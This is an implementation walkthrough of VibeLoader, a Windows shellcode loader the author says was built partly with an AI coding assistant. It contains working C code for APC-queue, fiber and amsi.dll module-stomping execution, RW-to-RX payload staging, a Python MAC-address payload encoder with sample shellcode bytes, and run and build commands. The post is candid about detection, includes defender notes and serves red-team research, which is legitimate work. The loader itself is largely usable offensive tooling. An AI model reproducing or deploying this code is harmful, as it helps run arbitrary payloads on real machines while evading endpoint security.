VibeLoader: Loading for Fun and No Profit
An implementation-focused walkthrough of VibeLoader's APC, fiber, module-stomping, payload-encoding, and memory-management experiments.
I built VibeLoader because I wanted to compare a few Windows execution methods in one small program.
The familiar VirtualAlloc + memcpy + CreateThread sequence is easy to write, but it is also familiar to endpoint products.
Changing the final execution call changes the telemetry, although it does not make the allocation or payload disappear.
VibeLoader is a custom shellcode loader I built with Claude Code and manual development to compare several Windows execution mechanisms. It is written in C with no runtime dependencies beyond Windows APIs. Each method creates different telemetry. Their order in the menu is not a stealth ranking.
The source reviewed for this post is commit afa9220fa104.
What I wanted to test
I kept the initial goals narrow. VibeLoader allocates writable memory, copies the payload, and changes the page to executable instead of requesting RWX memory from the start. It compares APC, fiber, and module-stomping execution; uses memory-mapped file I/O; and tries to clean up sensitive buffers after execution.
I also added MAC-address formatting as an encoding experiment. It is reversible and should not be mistaken for encryption. Payload secrecy needs authenticated encryption and a key-delivery design that fits the engagement.
Several of these ideas are experiments rather than hardened features, and the reviewed source has cleanup issues that I call out below.
Execution methods
VibeLoader supports three execution techniques selectable at runtime. Each changes the API sequence and memory artifacts that a defender can observe.
Method 1: APC queue
The default method queues an Asynchronous Procedure Call to the current thread and then enters an alertable wait. Windows dispatches the APC when the thread becomes alertable.
// Duplicate current thread handle
DuplicateHandle(
GetCurrentProcess(),
GetCurrentThread(),
GetCurrentProcess(),
&hThread,
0, FALSE,
DUPLICATE_SAME_ACCESS
);
// Queue shellcode as APC callback
QueueUserAPC((PAPCFUNC)execMemory, hThread, 0);
// Enter alertable wait - APC fires here
SleepEx(0, TRUE);
This path does not create a new thread.
The queued user APC runs on the current thread when SleepEx puts that thread into an alertable wait.
This avoids a thread-creation event, but it does not hide the executable allocation, protection change, APC registration, or resulting behavior.
QueueUserAPC followed by an immediate alertable wait is a recognizable sequence.
Whether a product records or alerts on it depends on that product’s sensors and policy.
Method 2: Fiber-based execution
Fibers are cooperatively scheduled execution contexts that run within a thread.
SwitchToFiber changes fiber context in user mode, while the containing thread is still scheduled and observable by the operating system.
// Convert main thread to fiber
LPVOID originalFiber = ConvertThreadToFiber(NULL);
// Setup fiber context
FIBER_CONTEXT fiberCtx = {0};
fiberCtx.shellcodeAddress = execMemory;
fiberCtx.originalFiber = originalFiber;
fiberCtx.executionComplete = FALSE;
// Create shellcode fiber
LPVOID shellcodeFiber = CreateFiber(0, ShellcodeFiberProc, &fiberCtx);
// Switch execution to shellcode
SwitchToFiber(shellcodeFiber);
// Cleanup after execution returns
DeleteFiber(shellcodeFiber);
ConvertFiberToThread();
The callback executes the payload, marks completion, and switches back:
VOID CALLBACK ShellcodeFiberProc(LPVOID lpParameter) {
PFIBER_CONTEXT ctx = (PFIBER_CONTEXT)lpParameter;
((void(*)())ctx->shellcodeAddress)();
ctx->executionComplete = TRUE;
SwitchToFiber(ctx->originalFiber);
}
Execution reuses the current thread and switches to a separate fiber stack, so the transition itself does not create a new-thread event. It does not make the payload invisible to kernel telemetry, memory inspection, or user-mode instrumentation.
ConvertThreadToFiber, CreateFiber, an executable private allocation, and a start routine outside a normal image are all useful detection context.
Do not assume fiber APIs receive less scrutiny without testing the specific endpoint stack.
Method 3: Module stomping
This method overwrites part of an executable section in a loaded DLL rather than executing from a new private allocation. It demonstrates the difference between image-backed and private executable memory, but modification of a signed image is itself a strong integrity signal.
const char* targetDll = "amsi.dll";
// Load the target DLL
HMODULE hModule = LoadLibraryA(targetDll);
// Parse PE headers to find .text section
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
// Find executable section
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
if (sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
targetAddress = (LPVOID)((BYTE*)hModule + sectionHeader->VirtualAddress);
targetSize = sectionHeader->Misc.VirtualSize;
break;
}
sectionHeader++;
}
// Flip to RW, write shellcode, restore to RX
VirtualProtect(targetAddress, size, PAGE_READWRITE, &oldProtect);
memcpy(targetAddress, shellcode, size);
VirtualProtect(targetAddress, size, PAGE_EXECUTE_READ, &temp);
// Execute from the DLL's .text section
((void(*)())targetAddress)();
While the payload runs, its instruction pointer is inside the mapped address range for amsi.dll.
The direct call still leaves return addresses that lead back to VibeLoader, so this does not guarantee a clean call stack or bypass code-origin validation.
The code changes the protection of an image section, writes bytes that differ from the signed file on disk, and leaves the module modified. Integrity monitoring or later execution of overwritten code can detect the change or crash the process.
The current proof of concept targets the first executable section of amsi.dll.
That does not guarantee that the AmsiScanBuffer implementation is overwritten or that AMSI is disabled.
Treat any effect on AMSI as an unverified side effect, not a feature.
Memory management
Every execution method follows the same memory protection lifecycle:
// Stage 1: Allocate RW memory
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Stage 2: Copy shellcode
memcpy(mem, shellcode, size);
// Stage 3: Flip to RX (NEVER RWX)
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &oldProtect);
The RW-to-RX pattern avoids a page that is writable and executable at the same time. It does not remove the allocation or protection-transition telemetry, and legitimate JIT runtimes can produce similar transitions.
Windows also documents that dynamically written executable code should call FlushInstructionCache before execution.
The current VibeLoader commit does not do that, so this is a correctness item to fix in the source.
On cleanup, memory is zeroed before being freed:
void CleanupExecutableMemory(LPVOID execMemory, SIZE_T size) {
if (execMemory) {
SecureZeroMemory(execMemory, size);
VirtualFree(execMemory, 0, MEM_RELEASE);
}
}
SecureZeroMemory prevents the compiler from optimizing away the write.
It does not make prior dumps, copies, or telemetry unrecoverable.
There is also a source-level mismatch in the reviewed commit.
The APC and fiber implementations keep their executable allocations in local variables and call VirtualFree directly, while shellcodeCtx.execMemory is never assigned.
As a result, the CleanupExecutableMemory function shown above is not used for those allocations.
It would also need to change an RX page back to writable before calling SecureZeroMemory.
MAC-address encoding
VibeLoader can read a payload formatted as a list of MAC addresses, with each address holding six bytes. I added this to see how the encoding worked in practice, not because I considered it a strong OPSEC control.
The encoding is done with a Python helper:
def encode_to_mac_addresses(data, separator=':'):
mac_addresses = []
for i in range(0, len(data), 6):
chunk = data[i:i+6]
if len(chunk) < 6:
chunk = chunk + b'\x00' * (6 - len(chunk))
mac_addr = separator.join(f'{b:02X}' for b in chunk)
mac_addresses.append(mac_addr)
return mac_addresses
# Encode a payload
python3 mac_encode.py payload.bin macs.txt
# Load with VibeLoader
loader.exe -mac macs.txt -m 2
The encoded file looks like network configuration data:
FC:48:81:E4:F0:FF
FF:FF:E8:D0:00:00
00:41:51:41:50:52
51:56:48:31:D2:65
The loader parses each line back into six bytes and reconstructs the payload in memory. Formatting changes the pattern on disk, but the bytes are still plaintext. An analyst who recognizes the MAC-address pattern can decode it with little effort.
For an authorized engagement, use authenticated encryption such as AES-GCM or ChaCha20-Poly1305 with a key-management design that matches the threat model. Static XOR is obfuscation, and environment-derived or remotely fetched keys introduce their own recovery and network indicators. The payload must still exist in plaintext during execution, so encryption reduces at-rest exposure rather than eliminating the memory detection surface.
Memory-mapped file loading
For direct binary payloads, VibeLoader uses memory-mapped I/O instead of standard ReadFile calls:
HANDLE hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID mappedView = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Copy from mapped view
memcpy(buffer, mappedView, fileSize);
UnmapViewOfFile(mappedView);
Memory-mapped I/O generates a different API sequence from ReadFile, but it still opens the file and creates a file-backed section.
Kernel file-system filters and memory sensors can observe that activity.
I use it here to compare telemetry, not as a general monitoring bypass.
Usage
# Basic: load and execute with default APC method
loader.exe payload.bin
# Fiber-based execution
loader.exe -m 2 payload.bin
# Module stomping with verbose output
loader.exe -m 3 -v payload.bin
# MAC-encoded payload with fiber execution
loader.exe -mac macs.txt -m 2
# Pause before execution (useful for attaching debugger)
loader.exe -p -v payload.bin
# Skip zeroing/freeing the original input buffer after execution
loader.exe -n payload.bin
Build
VibeLoader compiles with MinGW for cross-compilation from Linux or with MSVC on Windows:
# Linux (MinGW cross-compilation)
make
# Windows (Visual Studio x64 Native Tools Command Prompt)
build.bat
The current MinGW build links against ntdll, winhttp, and cabinet, although the latter staging-related libraries are not central to the execution paths discussed here.
Detection notes
VibeLoader leaves plenty for defenders to investigate:
- RW-to-RX transitions on new private allocations
QueueUserAPCfollowed bySleepEx(0, TRUE)- Fiber creation paired with an executable private start address
- Protection changes and writes to a loaded image section
- Files made up of repeated MAC-formatted lines
The project is useful because it makes those trade-offs concrete. It is not undetectable, and I would not describe any of its methods that way.
Work still to do
The current code is a base for more experiments:
- Add pre-execution environment checks and measure their false positives. The anti-analysis section of the Modern C2 Usage post covers the techniques I would start with.
- Evaluate indirect NT syscalls without pretending they hide kernel-visible behavior.
- Replace static encoding with authenticated encryption and explicit key management.
- Compare local files with remote HTTPS staging.
- Test sleep obfuscation and PPID spoofing as separate experiments.
The source is available at github.com/zachmarmolejo/VibeLoader.